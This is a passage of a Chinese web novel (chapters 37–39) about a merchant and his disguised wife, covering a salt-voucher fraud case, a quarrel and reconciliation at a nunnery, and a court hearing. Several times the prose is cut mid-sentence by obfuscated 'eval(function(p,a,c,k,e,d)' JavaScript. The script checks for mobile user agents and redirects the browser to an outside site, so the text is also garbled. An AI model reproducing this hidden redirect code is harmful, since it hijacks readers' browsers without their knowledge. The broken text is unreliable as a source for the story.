今日乃姚怀义代课，午时回商行便将课堂上的情形转述秦劭，最后总结道：“林起一贯让人省心......没想到的是，你这爱闯祸的小徒弟关键时候还挺孝顺。” “孝顺？”秦劭听这词别扭，不由攒眉。 “不错，”姚怀义没觉得何处不妥，以为他单纯诧异，随即十分好心的为小徒弟多说几句好话，最后欣慰道：“不枉你破例收他，还白顶一个义父的名头。” 秦劭眼神骤沉，咳一声提醒他失言，快速扫看周围，幸而没有旁人。 姚怀义：“放心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427146|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧，大中午都回去用膳了，哪个跟你似的废寝忘食。” “那你在此作甚？” “给你报喜，顺带看着你用膳。” 府里的食盒送来有一会，若非姚怀义来，秦劭真要忘了。 放下账册问他：“一起？” 姚怀义没同他客气，翻身下桌坐到一旁。 他不比秦劭沉稳，用膳期间不忘顺着方才的话探寻疑虑：“你那小徒弟到底什么来路，跟我还藏这么严实？” 一年没问出的底细，今儿又被勾起好奇。 “没什么来路，顺手帮忙罢了。”秦劭的回答如旧。 姚怀义才不信，势必问出端倪，“今时不比往日，你有儿子的事万一传到弟妹耳中，岂非闹误会。” “你管住嘴，便不会有旁人知晓。”秦劭瞪他，顿了顿，不悦地纠正道：“不是儿子。” “义子和儿子没差，真传出去，关键看弟妹愿不愿意信你。”姚怀义说完又觉此言分量不够重，遂道：“你说万一以后这小徒弟知道你身份，仗着有过这一段时间父子情，跟你亲儿子夺家产怎么办？” “......”秦劭很想拿个饼把他嘴堵上。 事实是，他的确如此做了。 姚怀义猝不及防，差点呛住，瞪眼咳了两声，拍掉沾在下巴上的饼渣。 秦劭看他狼狈眉梢稍有松动，停箸忖了须臾，问：“请教一下，你素日都如何哄嫂夫人开心？” 聊着小徒弟呢，怎得就到嫂夫人身上去了？ 姚怀义愣了片刻，了然他是聊到儿子想夫人了，笑道：“投其所好便是，送些胭脂首饰，说几句甜言蜜语，再不济陪她逛个街市，外出踏青.....不过这季节无青可踏，总之人心都是肉长的，你多上心她心里自会熨帖。” 秦劭点点头，认为他说的尚算中肯。 当晚，季灵儿收到了秦劭带回来的甜点和一盒包装精良的胭脂。 因惊喜绽放在她眼中的光芒纾解了秦劭紧绷一整天的神经，语气跟着柔和起来：“闻听你今日当众护我？” 季灵儿额头高高扬起，骄傲回道：“你是先生，我自然不能容忍别人污蔑你！” 说罢迫不及待拆开，填了一块点心在嘴里。 小姑娘贪起嘴来颇有些可爱，秦劭如是想。 又问：“仅仅因为我是先生？” 季灵儿嘴里占着，含糊点头。 “先生可不会给弟子买胭脂。”他点了点桌上被冷落的胭脂盒。 季灵儿被糕点噎住了，满脸涨红，端起茶盏顺一口勉强恢复：“您想说什么？” 秦劭觉得她有装傻之嫌，却并未继续追问，“没什么，随口一问。” ... 接连几日都由姚怀义和其他当家代课，叠翠园不见秦劭身影，弟子间的猜测愈发深。 就连秦劭回府都一日比一日晚，好几回季灵儿迷迷糊糊感觉身边一沉，没多久她被拢入略带凉意的怀抱，又在迅速升起的温度里陷入昏沉的梦境。 这日她撑到三更，实在没撑住，眼皮沉沉坠合。 少顷，觉察有人轻手轻脚在身边躺下，带着松香气的凉意，气息渐近，拂过唇畔，顿在鼻尖，最后有温软落在眼皮上。 她睁开眼，对上近在咫尺的幽深眸光，里面明显掠过慌乱。 秦劭很快恢复平静，温声说：“吵醒你了？” “您偷亲我。” 37. 可以 “被发现了，”秦劭失笑，饶有兴致地问：“又要罚我吗？” 这人怎么讨罚也一副游刃有余的样子，语气里还带着点调侃的笑意。 季灵儿没顺他的话往下，只道：“先乖乖坦白，何事忙得这么晚？” 清亮的眸子直直望过来，带着几分完全不足为惧的威胁。 秦劭从未想过有朝一日回家反倒要“受审”，诧异之余生出几分暖意，连日的疲惫在此刻被熨帖。 直了直身子，如实相告：“商行有人倒卖盐引，事关重大，我必须亲自坐镇彻查账册，谨防有旁的疏漏。” 季灵儿身子微微前倾，关切地问：“查到是谁了？” “嗯，一早便知道了。”秦劭颔首，语气平静。 “那为何不早些处置？”她秀眉微蹙，流露出不解。 秦劭静了须臾，缓声道：“不好轻易动手，得等他作茧自缚。” 季灵儿眼中闪过一丝了然，“就像对待二房那样？” “嗯。”秦劭点头，以为话题到此为止，挑起她散落脸颊的秀发挽到耳后，“实在太晚了，快睡罢。” 指尖不经意擦过耳垂时带起一阵微痒，季灵儿偏头躲开，狐疑地凝视他半晌。 “还有事？” 季灵儿哼了一声，沉声道：“您不坦诚！” 秦劭愣住：“此话怎讲？” “您既然一早知道是谁，定然早有准备，拿回拖到现在通宵达旦地查账？”她说得有理有据，眼眸亮晶晶的，带着点小得意。 “真是个小机灵。”秦劭惊喜道，笑容里夹着他自己不察的宠溺。 季灵儿看见却无暇在意，只顾端着虚架子追问：“乖乖交代，不许再耍滑头。” 秦劭：“此事乃其中一项原因，更棘手的是商行往边军运粮换取的盐引数目账上皆有记载，倒卖的盐引非出自商行，亦非全部作假，你既聪慧，不如猜猜它们从何而来？” 怎么这时候还考她？季灵儿暗暗诽他，嘴上乖巧答：“莫非是从别家买来的？” “若真如此反倒好办了。”秦劭摇头，面色凝重起来，“是官府正经发放的。” “官府？”季灵儿错愕，杏眸睁得浑圆。 “朝中在两淮试行了新策，允许商人直接去盐运司纳银换取盐引。” 季灵儿惊得倒吸一口气，下意识掩住唇：“拿银子就能换？如此以往，难保官员不会为私利滥发啊！” “是啊，”秦劭赞许地看着她，随即又陷入怅然，“近来边防富庶，恐不用多久便不需大量供给粮食换盐引，届时对银钱的需求会大于粮食，纳银换引确有充实国库之利，比纳粮更顺应时势。” 季灵儿顺着他的思路，喃喃道：“若真到了那时，我们河东府倚仗地理之便赈济边军的优势便没了，无法再掌控盐引之利，反倒是两淮那些本就富庶的地方……” 秦劭认可地点头，目光陷入虚空：“再往远处想，倘若有一日朝廷彻底开放盐业，现有商路格局必被撼动，到那时我们又当如何自处？” “开放盐业？会吗？”季灵儿被他描绘的前景震住，一时出神。 “抓一次商机可得一时辉煌，唯有未雨绸缪，方能不断抓住新机遇。”秦劭的声音低沉而坚定。 季灵儿望着他轮廓分明脸，许久没有言语，眼神盛满复杂的思绪。 察觉到她的静默，秦劭温柔抚过她眉梢：“在想什么？” “在想我能为您做些什么。”季灵儿抬起眼，目光清澈，饱含真诚。 秦劭闻言没有立刻回答，同样静静凝视着她，深邃的眼眸里情绪翻涌成浪。 承着他汹涌又炽热的目光，季灵儿心跳蓦然加速，只觉得浑身不自在，和学堂上他的凝视不同，却说不出因由。 遂轻声反问：“您怎么不说话？” 秦劭这才勾起唇角，道：“我在静候你想出来的结果。” “您这人真是……”季灵儿嗔怪地瞥他一眼，唇角却忍不住上扬，“照常理，您不是该说：万事有我，不必你一女子操心吗？” 小姑娘的常理总是很多。 秦劭低笑，伸手将她揽近了些，柔和的嗓音被放大到跟前，“季凌，你有此心我甚为感动，私心里我自不愿你涉足险境，但——你从来都不是暖棚里需要精心呵护的娇花。” 他顿了顿，注视着她的眼睛，一字一句道：“你可以放手去做任何你想做之事，不必忧心成败得失，无论如何，我会尽力为你兜底。” 并非撑起一片天，而是兜底。 季灵儿无依无靠惯了，从不倚仗任何人，她再努力再坚强终究会怕，怕摔跤，怕撞墙，怕像师父一样误了性命也走不出困局。 这番话太重，也太精准，她用了好几道呼吸没能将翻涌的心潮压下，心被冲击着，失措地想要朝说话的人靠近。 身体里另有一个声音在警告，警告她不可轻信，一句话而已，动动嘴皮子都能说得出来。 季灵儿明白，可她还是抬手环住上的脖颈，将脸埋进对方颈窝，闷闷的声音带着激动：“您对我真好。” 秦劭身形一滞，反手将人搂紧，下巴轻蹭着在发顶，语气笃定且温柔：“季凌，你是我明媒正娶的妻。” 怀中的人儿身体瞬间僵硬，一丝心虚的声音细若蚊蚋地钻入他耳中：“倘若......我不是呢？” 秦劭将她从怀里稍稍推开些许，望进她闪烁不安的眼眸，却没有质问。 然后，低头深深地吻住了她的唇。 这一吻甚是温柔，有来有往，适时给她间隙换气，照顾她的生涩与慌乱，缠绵良久，直至彼此呼吸紊乱才缓缓分开。 他的额头抵着她的，气息粗重急促，“季凌，我实实在在感受到的人，是你。” 季灵儿还陷在那一枚温柔的吻中，抵在他胸前的掌心被心跳带着颤动，她恍惚，不舍，贪恋这从未有过的暖意。 根本不顾他说什么，湿润的嗓音发出邀请：“再亲一下。” 他低笑，眉梢染着温柔，指腹擦过她微张的唇瓣，迟迟没有下一步动作。 “再往下，我会控制不住，你可以吗？” 季灵儿反应过来他所问，脸颊烧红一片，指尖在他衣襟上蜷了蜷，将他衣襟攥得皱乱，力气使大了，反倒扒开一片，露出突兀的锁骨。 理智告诉她可以，她不是他的妻。 可身体却诚实地上前，将唇往他指腹送的更紧。 “您方才说的话，是真心吗？” “自然。”秦劭答得利落。 她终于抬起湿漉漉的眸，轻轻点头，“那我可以。” 秦劭喉间滚出一声低哑的叹息，克制许久的欲望瞬间翻涌，将她压进柔软衾褥。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432694|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>帷幔落下，忘情缠吻中，衣衫一件件剥落，凌乱散在床榻外。 火焰紧密贴合的肌肤间滚烫灼烧，他的吻终于离开她的唇。 季灵儿颤抖攀着他，恐惧中夹杂着隐秘的期待，想知道令她舒服的触感会再蔓延到何处。 然而等了许久，落下来的只有他辨不明情绪的声音：“你说可以，是因为我方才那番话？” 冷气灌入二人拉开的距离，季灵儿打了个寒颤，诚实地“嗯”一声。 秦劭瞳孔骤缩，“倘若说话的是旁人，也可以么？” “嗯？”长睫眨着迷离的雾气，怔怔看着他，“你是先生我才信你，旁人说我未必相信。” 先生，呵...... 秦劭笑容苦涩，嗓音绷着沙哑，“即便你不与我同房，我也会兑现承诺，你不必委屈自己。” 说罢抽身起来，拉过被衾替她盖好。 季灵儿再回神时，那人已经下了榻，拾起中衣披上。 “你早些睡，我......去冲个凉。” “......” 季灵儿木讷望着挺拔的背影消失，心跳顿了好几拍。 他这是何意？ 把人剥光了走算什么？ 一盆冷水当头浇下，方才的温存尽数凝结成冰，季灵儿摇铃唤来玉秀，隔着帷帐道：“待会儿请那位大爷去厢房睡。” 玉秀垂眸看一眼散落榻沿的衣物，试图劝：“少夫人。” 季灵儿不欲多说，重重翻了个身朝向里侧：“我困了，你去罢。” 玉秀收拾过遍地狼藉出去，屋内重回寂静，季灵儿整个人蜷成一团缩在被衾里，发狠地下决心，再也不要理他了！ 秦劭沐浴出来，满身燥火褪去，心中那团郁气却结的更重，听了玉秀颤巍巍的回报，恍恍地望向内室，灯火已熄，鸦雀无声。 半晌才开口：“知道了。” 季灵儿这一夜睡得极不安稳，梦里尽是秦劭的身影，忽而温柔低语，忽而冷眼离去，跟睡前一样令人窝火，气的她罕见地起了个大早。 兀自从柜中选一件灰绿滚边的缎面对襟袄子换上，简单挽了寻常发髻，斜插一支素银簪子，不施脂粉，素面朝天的模样反倒显出几分清丽脱俗的韵味。 玉秀看她一改男子装束纳闷道：“您今日不去学堂？” “不去。” 但看她模样还是要出门，便问：“那您去何处？” “散散心。” “奴婢同您一道去。” “不必，”季灵儿看出她担忧，补充道：“放心，我不会撂下你溜走的。” 玉秀面上一哂，忙解释：“奴婢并非此意，是担心您一人出门不便。” 季灵儿挑唇笑起来，“真把我当你家小姐了？” 玉秀语塞，有许多时候，她当真恍惚了。 季灵儿没再多说，扯了一件披风推门而出。 秋棠唤她不住，小步跑到玉秀跟前问：“少夫人怎么一个人出去了？” 玉秀摇头不答。 秋棠：“要不要知会大爷一声？” 玉秀：“先等等，说不好过会儿便回来了。” 一直等到快傍晚，季灵儿仍未回来，倒是秦劭破天荒提前回了府。 进院撞见秋棠觉察神色不对，追问之下得出一句：“少夫人不见了。” 38. 接她 “不见了，什么叫不见了？”秦劭声音沉得发寒，眼底骤然聚起风暴。 玉秀闻声上前，战栗着复述早间情形。 跟在后面的阿吉缩着脖子打了个冷噤，白日商行事务焦头烂额，都没见爷如此沉不住气，眼前俨然乱了方寸。 正愣着，一道凌厉目光射下来：“派人去寻。” 阿吉连声应是，领命奔出。 小半个时辰，回来复命的皆战战兢兢说无果。 秦劭站在廊下，身上仍披着回来时那件大氅，隐在下面的指节捏得发白，底下人先头的劝说全被冷眼剜了回去，不敢再多嘴。 夜色渐浓，府中灯笼一盏盏亮起，幽深的眸中光芒一闪，屏退其余，独留玉秀问话。 “她可是要走？” 玉秀恐引起疑心，先前回话没说完整，乍听他如此问慌了神，大爷莫非真知道什么？ 没敢耽搁太久，老实道：“不是。” “说清楚。”秦劭字音咬得极重。 他目中寒光如刃，直直架在头顶，玉秀屈膝跪地，抖擞着重复原话：“少夫人让奴婢放心，说她不会撂下奴婢溜走的。” 握紧的拳头松开，秦劭缓一口气，道：“起来罢，随我去趟清心庵。” ... 寒霜浸湿长阶，秦劭素来沉稳的步伐乱了节奏，玉秀提裙小跑，还是落后一大截。 至清心庵，玉秀上前叩开门扉，小尼姑探出头问：“施主漏夜敲门有何事？” “白日可有一名姓季的女子来过？” 小尼姑摇头：“来往香客众多，贫尼实在不知您所说是哪一位。” 玉秀看了眼远在身后的秦劭，小声道：“季灵儿，你们定然是认识她的。” 小尼姑低眉道：“那位施主今晨来过，已在庵中落发。” 玉秀浑身震颤：“你说什么？” 再怎么看，她也不会是想不开出家之人。 正想着，秦劭不知何时走到她身后，语气清寒道：“麻烦小师父通秉明尽师太，秦劭请见。” 小尼姑看见是名男子震惊地连忙掩门，只露出半张脸：“夜深露重，施主乃男子，实在不便入内，请回吧。” 秦劭立于阶下，风拂衣袂，声如寒泉：“小师父尽管通秉，若明尽师太不肯见，我即刻下山。” 小尼姑迟疑片刻，关上门进去传话。 禅房中，季灵儿闻听小尼姑传话，不等明尽开口，气愤道：“不见不见，让他走！” 明尽师太盘坐在她对面，停了捻动佛珠的动作，抬眼望她：“他既来了，何必拒人于千里？” “您不知道，他实在太......过分。”季灵儿想到昨日便羞恼。 “你在我这儿气了半日，却迟迟不说为何。” “佛门清净地，说出来怕污了佛祖耳朵。”她才没脸说。 明尽没再追问，站起身道：“秦施主于本庵有大功德，你不见便罢，我不好驳他颜面。” 山门再度开启，明尽亲自迎出，秦劭略一颔首，目光透过她肩头往后，唯有几个怯怯垂首的小尼，不见那道熟悉的身影。 “她不愿见我。”他用陈述的语气叹了一声。 明尽点点头，开门见山道：“秦施主有话要贫尼转达吗？” “无话，知道她在师太这里我便安心了，漏夜叨扰师太清修实在不该。”秦劭拱手一礼，旋即从袖中抽出两张银票递给明尽，“秦某的谢罪之礼，还请收下。” 明尽未推辞，只淡然问道：“善缘须寻准根源，贫尼多问一句，秦施主是自己请罪，还是代人赎愆？ 秦劭忖度须臾，道：“她来扰师太清修，亦是秦某之过，算是秦某向佛祖和师太告罪。” 明尽低诵佛号，双手接过银票，“善因结善果，秦施主心诚，佛门自会庇佑。” 玉秀眼睁睁看着师太进去，疑问在舌尖绕了几圈不敢问出口，瞥见秦劭回身，赶紧低下头。 “回吧。” 玉秀跟着走出两步，回头看看紧闭的山门，终是没忍住道：“大爷，咱们不接少夫人回去吗？” 秦劭顿步立在月色下，衣袍被山风微微掀起，“她不出来，便是不愿回去。” 月光照着眸底暗潮沉浮，最后化作一片寂然。 玉秀想说您来都来了，好得多请一番，可面对的是秦劭，她没勇气多嘴。 * 季灵儿心不在焉着灯芯，见明尽回来，佯装不在意地抬眼，问：“他来做什么？” “告罪。”明尽将银票压在檀香盒下。 “告什么罪？” “我不传人口舌，你若想知道，大可自行去问。” “他还在外头？”季灵儿说着往外探一眼，唯有黑漆漆的夜。实在想不出他傻等在外头这样的模样，遂不觉得有这种可能。 “不知。” 季灵儿指尖一晃，灯芯骤然爆出细小的火花。 万一呢？她倒想看看他那样将规矩原则的人夜半守在尼姑庵外的模样。 出去瞧，若人不在她无甚损失，若在，同样看他一场笑话，再轰走就是。 想到第二种可能，季灵儿心中已然觉得解气，放下灯剪，轻步掀帘而出。 明尽无奈摇首。 山门外寂寥无声，唯有交错的枝丫剪碎月影，洒落满地斑驳。 果然，他根本不会傻乎乎等在这里。 失望转身，刚抬脚便听见身后传来熟悉的呼唤：“季凌。” 秦劭从暗处缓步走出，月光清寒，勾勒出的挺拔轮廓凛冽如霜雪雕琢，后面几步远的阴影里，站着低头不作声的玉秀。 季灵儿看他眉目沉寂如往昔，没有丝毫笑话可看，反倒衬的巴巴追出来的自己成了笑话。 何苦来哉。 心中又别扭起来，不顾来人呼唤转身往里走。 手腕被拽住，对方加重力气在上头，一把将她拉回身前，只差咫尺便撞进他怀里。 “你做什么，这里乃佛门清净地！”她瞪他，一生气便顾不得称呼，晶莹眸子蒙着怒气愈显透亮。 秦劭却觉得她现在的模样更亲近，自然，庆幸改主意寻了回来。 “接你回家。” “不回。”季灵儿抿紧唇线，转了转发烫的手腕，这人怎么在外面待这么久手还是暖的？ 秦劭手上力度未减，声音已然柔下来：“真要留在这里剃发当姑子？” “对。” “佛家戒律清规，你受得住哪一条？”秦劭弯眸带出一丝浅笑。 “......” 她才没那么想不开，让清音传话剃发的事，纯粹置气，眼下对方没怎样，自己反被拿住话口一通揶揄。 惹人厌的秦劭，分明是专程来气人的。 想挣脱却不能，气愤地反诘：“师太说你来告罪，就是这么向佛祖告罪的？” 她话音落，明尽的点拨跟着在秦彻耳边响起，恍然明白其所指。 闹成如今局面，归根究底是他之罪。 心头杂乱又起，换上几分歉意，“那我向你告罪，可否？” 季灵儿闻言难免想起昨夜的难为情，羞红脸不语。 秦劭松开她，解释道：“昨夜之事，是我不想你因为求庇护委身于我。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440238|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我何时——”季灵儿脱口反驳，倏然想到他悬崖勒马时的那一问，沿着思绪往前寻，后知后觉反应，磕磕巴巴改口：“我没有那意思。” “没有吗？”秦劭反问，洞悉一切的目光钉在她身上。 季灵儿生出心虚，按着良心想了想，有的。 彼时意乱情迷，连她自己都没意识到，答应他，是因前一番令人动容的承诺乱了心神，她潜意识想得一份安稳。 话说回来，谁不想得安稳呢？ 她寻到了问题根源，但并不把错归在自己身上，理直气壮质问眼前人：“可您说那番话不是为了.....” 她说不出羞人的话，努力搜索措辞，道：“不是为了要我吗？” 用词婉转，话意却利刃一般扎在秦劭心上，望着她的眸子收紧，要出口的话哽在喉头，嘴角扯一抹自嘲。 “你如此想？” 对上他的目光，季灵儿的气势又莫名弱下来，声音渐低：“我没有，我就是询问，询问......” “那我认真回答你，不是。”秦劭目光坦荡，字字清晰，并无半分闪躲。 觉得说的不够清楚，顿了顿，又道：“我的确想要你，但那番话纯粹出自肺腑，二者没有因果。” 季灵儿讷讷半晌，脸颊透出夜色藏不住的红，“你，你怎么能在佛前说这样的话。” 小姑娘惯会倒打一耙。 “不是你先说的，问我是不是为了......要你。”秦劭倾身咬着耳朵将后半句学她之言送进她耳蜗。 “你，你不羞！”季灵儿脸烧得更红，冬夜的夜风掠过都得滚出温度。 秦劭低笑，温热的呼吸拂过她耳际，“我解释清楚了吗？” “嗯。” “那，现在可以随我回去吗？” 季灵儿认真想了会儿，她还要去学堂，待在庵里到底不方便，遂道：“可以，但你睡厢房。” “好。” … 从黄昏折腾到半夜，秦劭院里的动静根本瞒不过，丫鬟婆子早将消息递到各院，老夫人睡的早，暂且未惊动，方淑凤正在堂屋礼佛，佛珠一颗颗滑过指尖，始终垂目不语，只是眉头皱得愈发深。 身旁嬷嬷深谙她的心思，原以为表小姐任性，未料新夫人比她更甚，入府时日不长，闹出的动静却一次比一次大。 夫人寡居多年，一直希望能得个贴心规矩的儿媳，跟在身旁说个贴心话，再诞育一儿半女，给这院子添些热闹。 可如今看来，这些指望怕是落空。 方淑凤惯将情绪窝在心中，嬷嬷从前劝的不少，鲜有作用，忧心之下，翌日一早寻到秦劭跟前，委婉提醒他多规劝少夫人，毕竟延续香火，伺候婆母才是为人妻媳的本分。 嬷嬷敢擅自做主来劝，捏的是秦劭一贯孝敬，遵循礼法，必会顾念大夫人感受，适当管束少夫人。 不料秦劭却说：“是本分不假，可她亦是一个人，该有自己的想法和性格，外人无权强加干涉，纵然是我这做夫君的也不能。我知嬷嬷忧虑母亲，寻机会我会与母亲深谈，也请嬷嬷多宽慰母亲，哄她出去散散心，莫总困在屋子里愁闷。” ...... 季灵儿起来时，秦劭已出门去商行了，故不清楚院中有过这一遭，寻常梳洗罢，换上男装去叠翠园。 刚一进门，被梁宸拦住去路，气势汹汹发问：“你同师父是什么关系？” 当头一句，季灵儿有些摸不着头脑，道：“自是师徒。” 梁宸张望四周，暂且无旁人经过，遂道：“别想诓我，我的人瞧见你昨日夜半与师父一起进了秦家。” 39. 摊牌 季灵儿警铃大作，捏紧指尖问他：“你派人跟踪我？” 梁宸高高扬起下巴：“那又如何？” 季灵儿定了定心神，反客为主道：“想知道的话自己去问先生。” 梁宸气急攥拳，他自然不敢去问师父，半晌威胁说：“你就不怕我把此事宣扬出去？” “宣扬什么？说我半夜入秦家？还是说我其实是女子？”季灵儿根本不惧他说，只觉得好笑，“又或是将我的身世和盘托出？你既发现我随先生共同出入，应当想得到这些话说出去的后果。” 梁宸脸色骤变，显然未料她如此坦然。 季灵儿太了解他，嘴上功夫厉害，实则是个外强中干，遇事畏首畏尾孬货，她淡看一眼，道：“不妨告诉你，先生就是我义父，他让我保密，害的我连炫耀的机会都没有，巴不得有人帮忙捅破呢。” 梁宸瞳孔一缩，喉咙滚了滚发不出声。 季灵儿断定他被自己的话惊到了，正得意，身后传来清冷的一声：“季凌。” 不费力辨出说话人，挺着僵直的脊背转身，对上秦劭沉如深潭的目光。 他今日不是去商行吗，怎么在这里？ 佯装镇静唤人，梁宸也拱手唤了声师父。 秦劭颔首应下，紧盯着季灵儿问：“你方才说什么？” 梁宸瞧季灵儿一副做坏事被抓现行的心虚，端起瞧好戏的架势接话：“师父，季凌竟说您是她义父。” 秦劭神色不动，等她开口。 “我错了，”季灵儿扯了扯他袖角，挤出讨好的笑意道：“我不是故意泄露的，您别生气。” “.....”她决心装到底，秦劭分不清是胡闹还是知道什么，按着心中波澜确认：“义父？” 季灵儿仗着背对梁宸，极力朝他使眼色：“我真知错了，有什么话咱回去说。” 听话意是故意气梁宸的，秦劭无奈：“随我过来。” 梁宸下巴又掉一次。 季灵儿回身朝梁宸做了个鬼脸，低眉顺眼地跟在秦劭身后，越过回廊，在一处凉亭驻足。 秦劭一路上努力调整，面对她时已恢复冷静：“你可真能胡闹。” “梁宸知道我住在秦家，我是为了刺激他不让他乱说话，顺带气一气他。”她坦诚道。 “即便如此，义父岂是能乱认的？何况，”秦劭声音平静，背在身后的手快将扳指碾碎了，“何况你我之间本就关系复杂。” 如今的两重身份，他尚且没适应明白，又冒出来一层。 季灵儿没有这种顾虑，心说自己已然认错，他何苦揪着不放，再说—— “开个玩笑而已，您又不吃亏。” “……” 秦劭又气又无奈，兀自甩袖离去。 姚怀义见到满脸黑的秦劭只觉得稀罕，打趣道：“哪个这么有本事，将大当家气成这样。” 看起来不止气，更憋闷。， “她同旁人说我是她义父。”秦劭道，眉宇间压着未散的愠意。 姚怀义愣了下才对号入座，“他知晓了？” “不知，胡说的。” 姚怀义闻言笑得前仰后合，眼眶都浸出泪来。 “......”秦劭冷冷横他一眼，逼迫自己冷静下来，“说正事。” ... 对于指秦劭是义父这件事，季灵儿初时的确冲动，缓了半日却发现此事还有另外可利用之处，只要传说中的义父不找上门，她完全可以以假乱真错下去。 为了确认传说中的义父会不会突然出现，傍晚秦劭一回房，她便端茶递水在旁边献殷勤。 秦劭勘破，直截了当道：“有话就说。” 季灵儿也不客气，大咧咧在旁边坐下，问：“您认识我义父吗？” 秦劭没料到她会继续这茬，顿了顿才道：“为何问这话？” “今日提到了便想弄清楚，您收我为弟子，定然是知道的。”季灵儿说的笃定。 秦劭：“他不愿让你知道身份，我不方便多言。” “为何？”季灵儿蹙眉，哪有人行这么大的善事不留名的，遂大胆猜测：“难不成——我真是他的私生子？” 本来想说难不成他与师太有首尾，又觉不好空口白牙污蔑师太清白，才改了口。 秦劭一口水呛在鼻孔里，呛得满脸通红，好半天缓不过劲儿。 季灵儿凑上去替他拍背顺气：“您怎得如此激动？” 这动作更像照顾病中的“老父亲”了，秦劭只觉此情此景荒谬至极。 挪开她的手，捻着眉心道：“他不过举手之劳做件善事，休要胡思乱想。” “他跟您说的？” “嗯。” 季灵儿不太相信，可也问不出什么，只道：“既如此，他应当不会突然出现让我尽孝报恩吧？” 秦劭：“大概吧。” 季灵儿点点头，那就好。 当夜秦劭依旧没被准许回主屋榻上睡，他不强求，只让人将铺盖铺在外间暖炕上，道是分房睡瞒不过祖母和母亲，届时又该找他们苦口婆心了。 他言之有理，季灵儿很“大方”地做出让步，还亲自抱了条新褥子出来，拍得蓬松松的，“那就委屈您了，义父。” ... 这日其他当家代课，闲暇时众弟子聚在一起闲侃，忽听外头有人喊了一嗓子：“不好了，师父被知府衙门的人带走了。” “你从何处听来的？” “我跟前小厮去买纸墨瞧见的。” 那房还在议论，季灵儿已蹿出门老远。 “小师弟，马上要开课了！”身后的喊声早追不上她了。 云衡放心不下，快步跟了上去。 “师父出事咱们做弟子的怎能袖手旁观，走，我们也去看看。” 有人提议有人附和，一窝蜂涌向知府衙门。 知府衙门前已围了层层百姓，季灵儿挤在最前，堂上汪知府正喝问商行私自倒卖和制造假盐引一事。 秦劭肃然立于堂下，惶恐跪地的反而是边永昌。 秦劭还在呈交证据，声音沉稳清晰，将边永昌伪造盐引的来龙去脉尽数道出。 直到心腹账房被带出来，边永昌浑身颤抖跌坐在地上，指着秦劭声音尖利：“你早就知道了，设好了圈套等我！” 秦劭负手而立，睨视他的眼神里带着冰冷的嘲讽：“边叔，是你不仁在前，我不暗中收集证据，如何能让大人看得分明，好为自己辩白。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442256|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他刻意加重了“大人”二字，目光直刺公堂上方，“人证物证皆有，望大人明察。” 季灵儿知晓秦劭有准备，听到知府将边永昌当场治罪，正解气地和众人一齐拍手叫好，发现知府神色不对。 对方话锋陡然一转，声音拔高，带着不容置疑的威严对秦劭道：“边永昌罪不容赦，但你身为商行当家，明知其行弊而未及时举发，纵容祸患滋生，亦难辞其咎，本官怎知你与此案毫无牵连？来人，将秦劭一并收押，待本官彻查清楚再行定夺。” 堂外霎时哗然，季灵儿攥紧拳头，几乎要翻越栅栏冲上公堂，云衡一把将她拉住，低声道：“不可，冲动不仅不能帮忙，还要连累师父。” “我不能眼睁睁看着师父下大狱！”季灵儿急的去扒他的手。 千钧一发之际，身后长街上传来刺耳锣鸣声，只见一顶官轿停在衙前街上，衙差一仰脖子，中气十足地通报：“巡按御史到！” 身着青袍，约莫四十来岁的官员从轿子里出来，迈着方步上前。 众人自觉避出一条道来，目送他入了衙门正堂，对堂上汪知府拱手行礼。 巡按御史官职虽不高，但握有监察地方之权，汪知府不敢怠慢，起身敛容还礼。 那御史径直落座于侧案，神色从容道：“本官奉旨巡按河东，日前收到密信检举，道有商贾勾结官员铸假贩假，扰乱盐法，故特来查证。” 汪知府闻听事情不妙，但总是见过世面的，面不改色道：“本官方才正查此案，边永昌私铸盐引属实，已将其收押待审。” “哦？那本官真是来巧了。”御史粲然一笑，追问：“既然知府大人已查实，本官多问一句，该厮与何人勾结？” “这......”知府露出难色，踌躇道：“犯人供认罪行，系私心贪欲所致，并未交代内应，或是向御史大人举报者弄错了。” 